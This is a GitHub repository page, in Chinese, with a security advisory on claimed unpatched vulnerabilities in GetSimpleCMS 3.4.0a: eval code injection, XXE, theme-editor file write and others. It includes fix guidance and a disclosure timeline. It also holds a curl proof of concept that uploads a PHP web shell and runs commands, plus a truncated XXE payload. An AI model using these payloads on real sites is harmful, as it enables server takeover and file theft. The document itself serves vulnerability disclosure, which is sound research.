Kimdir01/getsimpcms-rce-xss-cve
GitHub: Kimdir01/getsimpcms-rce-xss-cve
针对 GetSimpleCMS 3.4.0a 的多个严重漏洞(RCE、XXE、任意文件写入等)的安全公告与概念验证代码集合。
Stars: 0 | Forks: 0
# GitHub 安全公告:GetSimpleCMS 3.4.0a — 多个严重漏洞(eval RCE、XXE、任意文件写入)
## 公告信息
| 字段 | 值 |
|-------|-------|
| **严重程度** | 严重 |
| **CWE** | CWE-94 (eval 代码注入) / CWE-611 (XXE) / CWE-73 (任意文件写入) |
| **CVSS v3.1** | 9.1 (eval RCE) / 8.2 (XXE) / 9.1 (文件写入 RCE) |
| **CVSS 向量** | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
## 摘要
GetSimpleCMS 3.4.0a(600+ stars,基于文件的 PHP CMS)包含多个严重漏洞:(1) 通过 Components/Snippets 中的 `eval()` 实现的远程代码执行,(2) 通过主题编辑器中的任意文件写入实现的远程代码执行,(3) 在 PHP 8+ 上无防护的核心 XML 解析中的 XML 外部实体 (XXE) 注入,(4) 日志查看器中的存储型 XSS,以及其他 12 个漏洞。
## 漏洞详情
### 受影响的包/仓库
- **仓库:** `GetSimpleCMS/GetSimpleCMS`
- **受影响版本:** 3.4.0a 及更早版本
- **修复版本:** N/A (0-day)
**提交哈希(已审计):** `7d2709ab3eb7c40db3bd6ae0226643d4dfbf525d`
## CVE-REQUEST-001:通过 Components/Snippets 中的 eval() 实现 RCE (CVSS 9.1)
**文件:** `admin/inc/template_functions.php`,第 1998 行
```
if(!$raw) eval("?>" . strip_decode($item->value) . "
```
当该 component 在任何页面上被渲染时,代码会在服务器端执行。
## CVE-REQUEST-002:通过主题编辑器任意文件写入实现 RCE (CVSS 9.1)
**文件:** `admin/theme-edit.php`,第 72-76 行
```
$filename = $_POST['edited_file'];
$FileContents = stripslashes($_POST['content']);
save_file(GSTHEMESPATH . $filename, $FileContents);
```
主题编辑器允许将内容写入当前活动主题目录下的任何文件。管理员可以将一个 PHP 文件写入主题目录,并通过直接的网络访问来执行它。虽然存在 nonce 检查,但 `$filename` 直接取自 `$_POST['edited_file']`,除了 `filepath_is_safe()`(仅检查它是否位于 `GSTHEMESPATH` 下)之外,没有任何过滤。
### PoC:
```
curl -X POST http://target/admin/theme-edit.php \
-d "nonce=VALID_NONCE" \
-d "edited_file=shell.php" \
-d "content="
# 访问: http://target/theme/Innovation/shell.php?cmd=id
```
## CVE-REQUEST-003:核心 XML 解析中的 XXE — 在 PHP 8+ 上无防护 (CVSS 8.2)
**文件:** `admin/inc/basic.php`,第 441-450 行
```
function getXML($file, $nocdata = true) {
$xml = read_file($file);
$data = simplexml_load_string($xml, 'SimpleXMLExtended',
$nocdata ? LIBXML_NOCDATA : 0);
// NO libxml_disable_entity_loader() call
// NO LIBXML_NOENT flag
}
```
**文件:** `admin/api.php`,第 19、29 行
```
libxml_disable_entity_loader(); // DEPRECATED in PHP 8.0+
$in = simplexml_load_string($_POST['data'], 'SimpleXMLExtended', LIBXML_NOCDATA);
```
核心 XML 解析器 `getXML()`(用于处理包括页面和用户数据在内的所有 XML 数据文件)没有任何 XXE 防护。`api.php:19` 中唯一的防护措施(`libxml_disable_entity_loader()`)**已被弃用,并且在 PHP 8.0+ 中无效**。在现代 PHP 上,XXE 是完全可以被利用的:
**PoC(通过页面编辑):**
```
]>
&xxe;
```
## 其他发现(共 16 个):
| # | 漏洞 | CVSS | 文件 |
|---|--------------|------|------|
| H-3 | 日志查看器中的存储型 XSS | 8.0 | `admin/log.php:65-101` |
| H-4 | 弱 SHA-1 密码哈希(无 salt) | 7.5 | `template_functions.php:828-836` |
| M-1 | 通过 API 检查 cURL (FOLLOWLOCATION) 导致的 SSRF | 6.4 | `template_functions.php:1415-1456` |
| M-2 | 通过密码重置进行用户枚举 | 5.3 | `admin/resetpassword.php` |
| M-3 | 通过 SERVER_NAME 进行电子邮件头注入 | 5.8 | `admin/inc/basic.php:151-170` |
| M-4 | redirect() 中的开放重定向 | 5.4 | `admin/inc/basic.php:1273-1310` |
| M-5 | 信息泄露(默认开启调试模式) | 5.3 | `admin/inc/common.php:189,427` |
| L-1 | CSRF nonce 超时时间过长(1 小时) | 4.3 | `configuration.php:27` |
| L-2 | Cookie 缺少 Secure 标志 | 4.2 | `configuration.php:18,21` |
## 影响
- 通过 component eval() 或主题文件写入在服务器上实现 **RCE**
- 通过 XXE 实现**文件泄露**(读取 /etc/passwd、源代码、配置文件)
- 通过带有 FOLLOWLOCATION 的 cURL 实现 **SSRF**
- 通过日志中的存储型 XSS 实现**会话劫持**
- 通过密码重置计时进行**用户枚举**
## 补丁 / 修复
1. **eval RCE:** 从 `output_collection_item()` 中移除 `eval()`。对 component 中的 PHP 代码使用输出缓冲(output buffering)。
2. **主题文件写入:** 在 `theme-edit.php` 中添加扩展名白名单(仅允许模板使用 `.css`、`.js`、`.php`)。
3. **XXE:** 添加 `libxml_disable_entity_loader(true)` 以及 `LIBXML_NOENT | LIBXML_DTDLOAD` 标志。在 PHP 8+ 上,使用 `libxml_set_external_entity_loader(fn() => null)`。
4. **密码哈希:** 使用 bcrypt 的 `password_hash()` 替换 SHA-1。
5. **日志中的 XSS:** 为所有日志输出添加 `htmlspecialchars()`。
6. **开放重定向:** 根据允许目标的白名单验证重定向 URL。
7. **调试模式:** 在生产环境中将默认值设置为 `false`。
## 披露时间线
- **2026-06-28:** 所有漏洞由 Fatullayev Asadbek (Kimdir01) 发现
- **TBD:** 报告给 GetSimpleCMS 维护者
- **TBD:** 通过 GitHub 请求 CVE
- **TBD:** 发布公告
## 致谢
- 发现者:Fatullayev Asadbek | GitHub: Kimdir01
- 独立安全研究员
## 参考
- CWE-94:代码生成控制不当(代码注入)
- CWE-611:XML 外部实体引用限制不当
- CWE-73:文件名或路径的外部控制
- CWE-79:跨站脚本 (XSS)
标签:CISA项目, PHP CMS, XXE注入, 任意文件写入, 漏洞证明, 编程工具, 网络信息收集, 远程代码执行